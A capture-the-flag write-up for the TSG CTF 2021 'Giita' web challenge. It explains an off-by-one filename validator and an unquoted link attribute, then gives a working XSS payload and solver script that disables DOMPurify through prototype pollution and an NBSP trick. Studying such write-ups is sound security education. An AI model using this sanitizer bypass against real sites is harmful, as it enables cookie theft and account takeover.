# TSG CTF 2021 Giita Writeup
## Challenge Summary
![](https://i.imgur.com/iAak14c.png)
You can create blog post. It is accepting an arbitrary HTML, but it is correctly escaped and sanitized by DOMPurify.
```javascript=const body = document.getElementById('body');body.innerHTML = DOMPurify.sanitize(body.textContent);
hljs.highlightAll();```
The goal is to obtain the cookie of admin.
## Solution
There are two bugs in this app.
### theme validation
The theme parameter is validated by `validateFilename` function. It seems to be filtering all characters except whitespaces or alphanumeric characters, but a dumb logical error exists and it accepts one invalid character in the argument.
```javascript=private validateFilename(input: string) {    let isInvalid = false;    for (const char of Array.from(input)) {        if (!char.match(/[\w\s.]/)) {            if (isInvalid) {                return false;            }            isInvalid = true;        }    }    return true;}
public async POST() {    const theme = this.getParam('theme');    // omitted
    if (!theme || !title || !body || !this.validateFilename(theme)) {        this.response.status_code = 400;        this.response.body = 'Bad Request';        return this.response;    }    // omitted}```
### theme parameter Mis-quoting
The `theme` parameter goes to HTML template and injected into stylesheet link. 
There should be quotation around it, but it is missing.
```htmlembedded=<% if (it.theme) { %>    <link rel="stylesheet" href=<%= it.theme %>><% } %>```
### Attack
With these restrictions, you can inject an arbitrary attribute into link element, but only once. Like this:
```htmlembedded=
<link rel="stylesheet" href=x onerror=alert>```
So, what we should do here is to write JavaScript code with only alphanumeric characters... But it is really helpless. We have to cheat DOMPurify.
Find that [DOMPurify skips purification](https://github.com/cure53/DOMPurify/blob/main/src/purify.js#L1193-L1208) when it is in unsupported environment (why?).
DOMPurify checks whether it is supported environment by `DOMPurify.isSupported` property. It is detected by [checking several properties in DOM](https://github.com/cure53/DOMPurify/blob/main/src/purify.js#L156-L160). By taking a look at it, you can abuse it by turning `implementation.createHTMLDocument = undefined`.
You can use prototype pollution to access this inner property. The final payload script will be like the following.
```javascript=delete document.implementation.__proto__.createHTMLDocument```
Finally, U+00A0 (NBSP) is not included in [HTML whitespace](https://infra.spec.whatwg.org/#ascii-whitespace), but included in [JavaScript whitespace](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#white_space). So the final solver will be like this.
```javascript=axios({    method: 'post',    url: `http://${host}:${port}/`,    headers: {        'content-type': 'application/x-www-form-urlencoded',    },    data: qs.encode({        theme: 'x onerror=delete\xA0document.implementation.__proto__.createHTMLDocument ',        title: 'x',        body: ``,    }),});```
